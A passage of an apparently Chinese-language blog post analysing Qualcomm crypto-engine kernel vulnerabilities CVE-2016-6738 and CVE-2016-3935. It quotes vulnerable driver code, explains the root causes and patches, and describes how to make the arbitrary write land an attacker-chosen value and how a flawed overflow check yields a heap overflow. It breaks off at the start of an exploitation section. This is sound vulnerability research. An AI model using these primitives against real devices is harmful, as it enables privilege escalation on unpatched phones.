class="line"><span class="keyword">while</span> (creq->data_len > <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">if</span> (creq->vbuf.dst[dst_i].len <= creq->data_len) {</span><br><span class="line"> <span class="keyword">if</span> (err == <span class="number">0</span> && __copy_to_user(</span><br><span class="line"> (<span class="keyword">void</span> __user *)creq->vbuf.dst[dst_i].vaddr,</span><br><span class="line"> (k_align_dst + byteoffset),</span><br><span class="line"> creq->vbuf.dst[dst_i].len))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"></span><br><span class="line"> k_align_dst += creq->vbuf.dst[dst_i].len +</span><br><span class="line"> byteoffset;</span><br><span class="line"> creq->data_len -= creq->vbuf.dst[dst_i].len;</span><br><span class="line"> dst_i++;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br></pre></td></tr></table></figure><p>再看一下漏洞触发的地方,源地址是 <strong>k_align_dst</strong> ,这是一个局部变量,下面看这个地址的内容能否控制。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">qcedev_vbuf_ablk_cipher_max_xfer</span><span class="params">(struct qcedev_async_req *areq,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">int</span> *di, struct qcedev_handle *handle,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">uint8_t</span> *k_align_src)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> err = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">int</span> i = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">int</span> dst_i = *di;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">scatterlist</span> <span class="title">sg_src</span>;</span></span><br><span class="line"> <span class="keyword">uint32_t</span> byteoffset = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">uint8_t</span> *user_src = <span class="literal">NULL</span>;</span><br><span class="line"> <span class="keyword">uint8_t</span> *k_align_dst = k_align_src;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">qcedev_cipher_op_req</span> *<span class="title">creq</span> = &<span class="title">areq</span>-><span class="title">cipher_op_req</span>;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (areq->cipher_op_req.mode == QCEDEV_AES_MODE_CTR)</span><br><span class="line"> byteoffset = areq->cipher_op_req.byteoffset;</span><br><span class="line"></span><br><span class="line"> user_src = (<span class="keyword">void</span> __user *)areq->cipher_op_req.vbuf.src[<span class="number">0</span>].vaddr;</span><br><span class="line"> <span class="keyword">if</span> (user_src && __copy_from_user((k_align_src + byteoffset), <span class="comment">// line 1160</span></span><br><span class="line"> (<span class="keyword">void</span> __user *)user_src,</span><br><span class="line"> areq->cipher_op_req.vbuf.src[<span class="number">0</span>].len))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"></span><br><span class="line"> k_align_src += byteoffset + areq->cipher_op_req.vbuf.src[<span class="number">0</span>].len;</span><br></pre></td></tr></table></figure><p>在函数 <strong>qcedev_vbuf_ablk_cipher_max_xfer</strong> 的行 1160 可以看到,变量 <strong>k_align_dst</strong> 的值是从用户态地址拷贝过来的,可以被控制,但是,还没完</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1178</span> <span class="comment">/* restore src beginning */</span></span><br><span class="line"><span class="number">1179</span> k_align_src = k_align_dst;</span><br><span class="line"><span class="number">1180</span> areq->cipher_op_req.data_len += byteoffset;</span><br><span class="line"><span class="number">1181</span> </span><br><span class="line"><span class="number">1182</span> areq->cipher_req.creq.src = (struct scatterlist *) &sg_src;</span><br><span class="line"><span class="number">1183</span> areq->cipher_req.creq.dst = (struct scatterlist *) &sg_src;</span><br><span class="line"><span class="number">1184</span> </span><br><span class="line"><span class="number">1185</span> <span class="comment">/* In place encryption/decryption */</span></span><br><span class="line"><span class="number">1186</span> sg_set_buf(areq->cipher_req.creq.src,</span><br><span class="line"><span class="number">1187</span> k_align_dst,</span><br><span class="line"><span class="number">1188</span> areq->cipher_op_req.data_len);</span><br><span class="line"><span class="number">1189</span> sg_mark_end(areq->cipher_req.creq.src);</span><br><span class="line"><span class="number">1190</span> </span><br><span class="line"><span class="number">1191</span> areq->cipher_req.creq.nbytes = areq->cipher_op_req.data_len;</span><br><span class="line"><span class="number">1192</span> areq->cipher_req.creq.info = areq->cipher_op_req.iv;</span><br><span class="line"><span class="number">1193</span> areq->cipher_op_req.entries = <span class="number">1</span>;</span><br><span class="line"><span class="number">1194</span> </span><br><span class="line"><span class="number">1195</span> err = submit_req(areq, handle);</span><br><span class="line"><span class="number">1196</span> </span><br><span class="line"><span class="number">1197</span> <span class="comment">/* copy data to destination buffer*/</span></span><br><span class="line"><span class="number">1198</span> creq->data_len -= byteoffset;</span><br></pre></td></tr></table></figure><p>行1195调用函数 <strong>submit_req</strong> ,这个函数的作用是提交一个 buffer 给高通加解密引擎进行加解密,buffer 的设置由函数 <strong>sg_set_buf</strong> 完成,通过行 1186 可以看到,变量 <strong>k_align_dst</strong> 就是被传进去的 buffer , 经过这个操作后, 变量 <strong>k_align_dst</strong> 的值会被改变, 即我们通过__copy_to_user 传递给 creq->vbuf.dst[dst_i].vaddr 的值是被加密或者解密过一次的值。</p><p>那么我们怎么控制最终写到任意地址的那个值呢?</p><p>思路很直接,<code>我们将要写的值先用一个秘钥和算法加密一次,然后再用解密的模式触发漏洞,在漏洞触发过程中,会自动解密</code>,如下:</p><p>1) 假设我们最终要写的数据是A, 我们先选一个加密算法和key进行加密</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">buf = A</span><br><span class="line">op = QCEDEV_OPER_ENC <span class="comment">// operation 为加密</span></span><br><span class="line">alg = QCEDEV_ALG_DES <span class="comment">// 算法</span></span><br><span class="line">mode = QCEDEV_DES_MODE_ECB</span><br><span class="line">key = xxx <span class="comment">// 秘钥</span></span><br><span class="line"></span><br><span class="line">=> B</span><br></pre></td></tr></table></figure><p>2) 然后将B作为参数传入 <strong>qcedev_vbuf_ablk_cipher_max_xfer</strong> 函数触发漏洞,同时参数设置为解密操作,并且传入同样的解密算法和key</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">buf = B</span><br><span class="line">op = QCEDEV_OPER_DEC <span class="comment">//// operation 为解密</span></span><br><span class="line">alg = QCEDEV_ALG_DES <span class="comment">// 一样的算法</span></span><br><span class="line">mode = QCEDEV_DES_MODE_ECB</span><br><span class="line">key = xxx <span class="comment">// 一样的秘钥</span></span><br><span class="line"></span><br><span class="line">=> A</span><br></pre></td></tr></table></figure><p>这样的话,经过 <strong>submit_req</strong> 操作后, line 1204 得到的 k_align_dst 就是我们需要的数据。</p><p>至此,我们得到了一个<code>任意地址写任意值的漏洞</code>。</p><h3 id="CVE-2016-6738-漏洞补丁"><a href="#CVE-2016-6738-漏洞补丁" class="headerlink" title="CVE-2016-6738 漏洞补丁 [^]"></a>CVE-2016-6738 漏洞补丁 <a href="#top">[^]</a></h3><p><span id="CVE-2016-6738-patch"></span> </p><p>这个 <a href="https://source.codeaurora.org/quic/la//kernel/msm-3.18/commit/?id=0a2528569b035a2ca8ebe9a4612dbbaaaffa5b2e" target="_blank" rel="noopener">漏洞的修复</a> 很直观,将 <strong>in_place_op</strong> 的判断去掉了,对 creq->vbuf.src 和 creq->vbuf.dst 两个数组里的地址挨个进行 access_ok 校验</p><p>下面看第二个漏洞</p><h3 id="CVE-2016-3935-漏洞成因"><a href="#CVE-2016-3935-漏洞成因" class="headerlink" title="CVE-2016-3935 漏洞成因 [^]"></a>CVE-2016-3935 漏洞成因 <a href="#top">[^]</a></h3><p><span id="CVE-2016-3935-cause"></span></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">long</span> <span class="title">qcedev_ioctl</span><span class="params">(struct file *file, <span class="keyword">unsigned</span> cmd, <span class="keyword">unsigned</span> <span class="keyword">long</span> arg)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">...</span><br><span class="line"> <span class="keyword">switch</span> (cmd) {</span><br><span class="line">...</span><br><span class="line"> <span class="keyword">case</span> QCEDEV_IOCTL_SHA_INIT_REQ:</span><br><span class="line"> {</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">scatterlist</span> <span class="title">sg_src</span>;</span></span><br><span class="line"> <span class="keyword">if</span> (!access_ok(VERIFY_WRITE, (<span class="keyword">void</span> __user *)arg,</span><br><span class="line"> <span class="keyword">sizeof</span>(struct qcedev_sha_op_req)))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (__copy_from_user(&qcedev_areq.sha_op_req,</span><br><span class="line"> (<span class="keyword">void</span> __user *)arg,</span><br><span class="line"> <span class="keyword">sizeof</span>(struct qcedev_sha_op_req)))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"> <span class="keyword">if</span> (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))</span><br><span class="line"> <span class="keyword">return</span> -EINVAL;</span><br><span class="line">...</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">...</span><br><span class="line"> <span class="keyword">case</span> QCEDEV_IOCTL_SHA_UPDATE_REQ:</span><br><span class="line"> {</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">scatterlist</span> <span class="title">sg_src</span>;</span></span><br><span class="line"> <span class="keyword">if</span> (!access_ok(VERIFY_WRITE, (<span class="keyword">void</span> __user *)arg,</span><br><span class="line"> <span class="keyword">sizeof</span>(struct qcedev_sha_op_req)))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (__copy_from_user(&qcedev_areq.sha_op_req,</span><br><span class="line"> (<span class="keyword">void</span> __user *)arg,</span><br><span class="line"> <span class="keyword">sizeof</span>(struct qcedev_sha_op_req)))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"> <span class="keyword">if</span> (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))</span><br><span class="line"> <span class="keyword">return</span> -EINVAL;</span><br><span class="line">...</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">...</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">return</span> -ENOTTY;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> err;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在 command 为下面几个case 里都会调用 <strong>qcedev_check_sha_params</strong> 函数对用户态传入的数据进行合法性校验</p><ul><li>QCEDEV_IOCTL_SHA_INIT_REQ</li><li>QCEDEV_IOCTL_SHA_UPDATE_REQ</li><li>QCEDEV_IOCTL_SHA_FINAL_REQ</li><li>QCEDEV_IOCTL_GET_SHA_REQ</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">qcedev_check_sha_params</span><span class="params">(struct qcedev_sha_op_req *req,</span></span></span><br><span class="line"><span class="function"><span class="params"> struct qcedev_control *podev)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">uint32_t</span> total = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">uint32_t</span> i;</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Check for sum of all src length is equal to data_len */</span></span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>, total = <span class="number">0</span>; i < req->entries; i++) {</span><br><span class="line"> <span class="keyword">if</span> (req->data[i].len > ULONG_MAX - total) {</span><br><span class="line"> pr_err(<span class="string">"%s: Integer overflow on total req buf length\n"</span>,</span><br><span class="line"> __func__);</span><br><span class="line"> <span class="keyword">goto</span> sha_error;</span><br><span class="line"> }</span><br><span class="line"> total += req->data[i].len;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (total != req->data_len) {</span><br><span class="line"> pr_err(<span class="string">"%s: Total src(%d) buf size != data_len (%d)\n"</span>,</span><br><span class="line"> __func__, total, req->data_len);</span><br><span class="line"> <span class="keyword">goto</span> sha_error;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">sha_error:</span><br><span class="line"> <span class="keyword">return</span> -EINVAL;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><strong>qcedev_check_sha_params</strong> 对用户态传入的数据做多种校验,其中一项是对传入的数据数组挨个累加长度,并对总长度做整数溢出校验</p><p>问题在于, <strong>req->data[i].len</strong> 是 uint32_t 类型, 总长度 <strong>total</strong> 也是 uint32_t 类型,uint32_t 的上限是 UINT_MAX, 而这里使用了 ULONG_MAX 来做校验</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">usr/include/limits.h</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Maximum value an `unsigned long int' can hold. (Minimum is 0.) */</span></span><br><span class="line"><span class="meta"># <span class="meta-keyword">if</span> __WORDSIZE == 64</span></span><br><span class="line"><span class="meta"># <span class="meta-keyword">define</span> ULONG_MAX 18446744073709551615UL</span></span><br><span class="line"><span class="meta"># <span class="meta-keyword">else</span></span></span><br><span class="line"><span class="meta"># <span class="meta-keyword">define</span> ULONG_MAX 4294967295UL</span></span><br><span class="line"><span class="meta"># <span class="meta-keyword">endif</span></span></span><br></pre></td></tr></table></figure><p>注意到:</p><ul><li>32 bit 系统, <strong>UINT_MAX = ULONG_MAX</strong></li><li>64 bit 系统, <strong>UINT_MAX != ULONG_MAX</strong></li></ul><p>所以这里的整数溢出校验 <code>在64bit系统是无效的</code>,即在 64bit 系统,req->data 数组项的总长度可以整数溢出,这里还无法确定这个整数溢出能造成什么后果。</p><p>下面看看有何影响,我们选取 case <strong>QCEDEV_IOCTL_SHA_UPDATE_REQ</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">long</span> <span class="title">qcedev_ioctl</span><span class="params">(struct file *file, <span class="keyword">unsigned</span> cmd, <span class="keyword">unsigned</span> <span class="keyword">long</span> arg)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">... </span><br><span class="line"> <span class="keyword">case</span> QCEDEV_IOCTL_SHA_UPDATE_REQ:</span><br><span class="line"> {</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">scatterlist</span> <span class="title">sg_src</span>;</span></span><br><span class="line"> <span class="keyword">if</span> (!access_ok(VERIFY_WRITE, (<span class="keyword">void</span> __user *)arg,</span><br><span class="line"> <span class="keyword">sizeof</span>(struct qcedev_sha_op_req)))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (__copy_from_user(&qcedev_areq.sha_op_req,</span><br><span class="line"> (<span class="keyword">void</span> __user *)arg,</span><br><span class="line"> <span class="keyword">sizeof</span>(struct qcedev_sha_op_req)))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"> <span class="keyword">if</span> (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))</span><br><span class="line"> <span class="keyword">return</span> -EINVAL;</span><br><span class="line"> qcedev_areq.op_type = QCEDEV_CRYPTO_OPER_SHA;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (qcedev_areq.sha_op_req.alg == QCEDEV_ALG_AES_CMAC) {</span><br><span class="line"> err = qcedev_hash_cmac(&qcedev_areq, handle, &sg_src);</span><br><span class="line"> <span class="keyword">if</span> (err)</span><br><span class="line"> <span class="keyword">return</span> err;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (handle->sha_ctxt.init_done == <span class="literal">false</span>) { </span><br><span class="line"> pr_err(<span class="string">"%s Init was not called\n"</span>, __func__);</span><br><span class="line"> <span class="keyword">return</span> -EINVAL;</span><br><span class="line"> }</span><br><span class="line"> err = qcedev_hash_update(&qcedev_areq, handle, &sg_src);</span><br><span class="line"> <span class="keyword">if</span> (err)</span><br><span class="line"> <span class="keyword">return</span> err;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">memcpy</span>(&qcedev_areq.sha_op_req.digest[<span class="number">0</span>],</span><br><span class="line"> &handle->sha_ctxt.digest[<span class="number">0</span>],</span><br><span class="line"> handle->sha_ctxt.diglen);</span><br><span class="line"> <span class="keyword">if</span> (__copy_to_user((<span class="keyword">void</span> __user *)arg, &qcedev_areq.sha_op_req,</span><br><span class="line"> <span class="keyword">sizeof</span>(struct qcedev_sha_op_req)))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">...</span><br><span class="line"> <span class="keyword">return</span> err;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><strong>qcedev_areq.sha_op_req.alg</strong> 的值也是应用层控制的,当等于 <strong>QCEDEV_ALG_AES_CMAC</strong> 时,进入函数 <strong>qcedev_hash_cmac</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"> <span class="number">868</span> <span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">qcedev_hash_cmac</span><span class="params">(struct qcedev_async_req *qcedev_areq,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="number">869</span> struct qcedev_handle *handle,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="number">870</span> struct scatterlist *sg_src)</span></span></span><br><span class="line"><span class="function"> 871 </span>{</span><br><span class="line"> <span class="number">872</span> <span class="keyword">int</span> err = <span class="number">0</span>;</span><br><span class="line"> <span class="number">873</span> <span class="keyword">int</span> i = <span class="number">0</span>;</span><br><span class="line"> <span class="number">874</span> <span class="keyword">uint32_t</span> total;</span><br><span class="line"> <span class="number">875</span> </span><br><span class="line"> <span class="number">876</span> <span class="keyword">uint8_t</span> *user_src = <span class="literal">NULL</span>;</span><br><span class="line"> <span class="number">877</span> <span class="keyword">uint8_t</span> *k_src = <span class="literal">NULL</span>;</span><br><span class="line"> <span class="number">878</span> <span class="keyword">uint8_t</span> *k_buf_src = <span class="literal">NULL</span>;</span><br><span class="line"> <span class="number">879</span> </span><br><span class="line"> <span class="number">880</span> total = qcedev_areq->sha_op_req.data_len;</span><br><span class="line"> <span class="number">881</span> </span><br><span class="line"> <span class="number">882</span> <span class="comment">/* verify address src(s) */</span></span><br><span class="line"> <span class="number">883</span> <span class="keyword">for</span> (i = <span class="number">0</span>; i < qcedev_areq->sha_op_req.entries; i++)</span><br><span class="line"> <span class="number">884</span> <span class="keyword">if</span> (!access_ok(VERIFY_READ,</span><br><span class="line"> <span class="number">885</span> (<span class="keyword">void</span> __user *)qcedev_areq->sha_op_req.data[i].vaddr,</span><br><span class="line"> <span class="number">886</span> qcedev_areq->sha_op_req.data[i].len))</span><br><span class="line"> <span class="number">887</span> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"> <span class="number">888</span> </span><br><span class="line"> <span class="number">889</span> <span class="comment">/* Verify Source Address */</span></span><br><span class="line"> <span class="number">890</span> <span class="keyword">if</span> (!access_ok(VERIFY_READ,</span><br><span class="line"> <span class="number">891</span> (<span class="keyword">void</span> __user *)qcedev_areq->sha_op_req.authkey,</span><br><span class="line"> <span class="number">892</span> qcedev_areq->sha_op_req.authklen))</span><br><span class="line"> <span class="number">893</span> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"> <span class="number">894</span> <span class="keyword">if</span> (__copy_from_user(&handle->sha_ctxt.authkey[<span class="number">0</span>],</span><br><span class="line"> <span class="number">895</span> (<span class="keyword">void</span> __user *)qcedev_areq->sha_op_req.authkey,</span><br><span class="line"> <span class="number">896</span> qcedev_areq->sha_op_req.authklen))</span><br><span class="line"> <span class="number">897</span> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"> <span class="number">898</span> </span><br><span class="line"> <span class="number">899</span> </span><br><span class="line"> <span class="number">900</span> k_buf_src = kmalloc(total, GFP_KERNEL);</span><br><span class="line"> <span class="number">901</span> <span class="keyword">if</span> (k_buf_src == <span class="literal">NULL</span>) {</span><br><span class="line"> <span class="number">902</span> pr_err(<span class="string">"%s: Can't Allocate memory: k_buf_src 0x%lx\n"</span>,</span><br><span class="line"> <span class="number">903</span> __func__, (<span class="keyword">uintptr_t</span>)k_buf_src);</span><br><span class="line"> <span class="number">904</span> <span class="keyword">return</span> -ENOMEM;</span><br><span class="line"> <span class="number">905</span> }</span><br><span class="line"> <span class="number">906</span> </span><br><span class="line"> <span class="number">907</span> k_src = k_buf_src;</span><br><span class="line"> <span class="number">908</span> </span><br><span class="line"> <span class="number">909</span> <span class="comment">/* Copy data from user src(s) */</span></span><br><span class="line"> <span class="number">910</span> user_src = (<span class="keyword">void</span> __user *)qcedev_areq->sha_op_req.data[<span class="number">0</span>].vaddr;</span><br><span class="line"> <span class="number">911</span> <span class="keyword">for</span> (i = <span class="number">0</span>; i < qcedev_areq->sha_op_req.entries; i++) {</span><br><span class="line"> <span class="number">912</span> user_src =</span><br><span class="line"> <span class="number">913</span> (<span class="keyword">void</span> __user *)qcedev_areq->sha_op_req.data[i].vaddr;</span><br><span class="line"> <span class="number">914</span> <span class="keyword">if</span> (user_src && __copy_from_user(k_src, (<span class="keyword">void</span> __user *)user_src,</span><br><span class="line"> <span class="number">915</span> qcedev_areq->sha_op_req.data[i].len)) {</span><br><span class="line"> <span class="number">916</span> kzfree(k_buf_src);</span><br><span class="line"> <span class="number">917</span> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"> <span class="number">918</span> }</span><br><span class="line"> <span class="number">919</span> k_src += qcedev_areq->sha_op_req.data[i].len;</span><br><span class="line"> <span class="number">920</span> }</span><br><span class="line">...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在函数 <strong>qcedev_hash_cmac</strong> 里, line 900 申请的堆内存 <strong>k_buf_src</strong> 的长度是 <strong>qcedev_areq->sha_op_req.data_len</strong> ,即请求数组里所有项的长度之和</p><p>然后在 line 911 ~ 920 的循环里,会将请求数组 <strong>qcedev_areq->sha_op_req.data[]</strong> 里的元素挨个拷贝到堆 <strong>k_buf_src</strong> 里,由于前面存在的整数溢出漏洞,这里会转变成为一个堆溢出漏洞,至此漏洞坐实。</p><h3 id="CVE-2016-3935-漏洞补丁"><a href="#CVE-2016-3935-漏洞补丁" class="headerlink" title="CVE-2016-3935 漏洞补丁 [^]"></a>CVE-2016-3935 漏洞补丁 <a href="#top">[^]</a></h3><p><span id="CVE-2016-3935-patch"></span> </p><p><img src="/2017/08/07/qualcomm-crypto-engine-vulnerabilities-exploits/3935patch.png" alt></p><p>这个 <a href="https://source.codeaurora.org/quic/la/kernel/msm-3.18/commit/?id=5f69ccf3b011c1d14a1b1b00dbaacf74307c9132" target="_blank" rel="noopener">漏洞补丁</a> 也很直观,就是在做整数溢出时,将 ULONG_MAX 改成了 U32_MAX, 这种因为系统由32位升级到64位导致的代码漏洞,是 2016 年的一类常见漏洞</p><p>下面进入漏洞利用分析</p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用 [^]"></a>漏洞利用 <a href="#top">[^]</a></h2><h3 id="android-kernel-漏洞利用基础"><a href="#android-kernel-漏洞利用基础" class="headerlink" title="android kernel 漏洞利用基础"></a>android kernel 漏洞利用基础</h3><p>在介绍本文两个漏洞的利用之前,先回顾一下 android kernel 漏洞利用的基础知识</p><h4 id="什么是提权"><a href="#什么是提权" class="headerlink" title="什么是提权 [^]"></a>什么是提权 <a href="#top">[^]</a></h4><p><span id="what-is-kernel-exp"></span> </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span 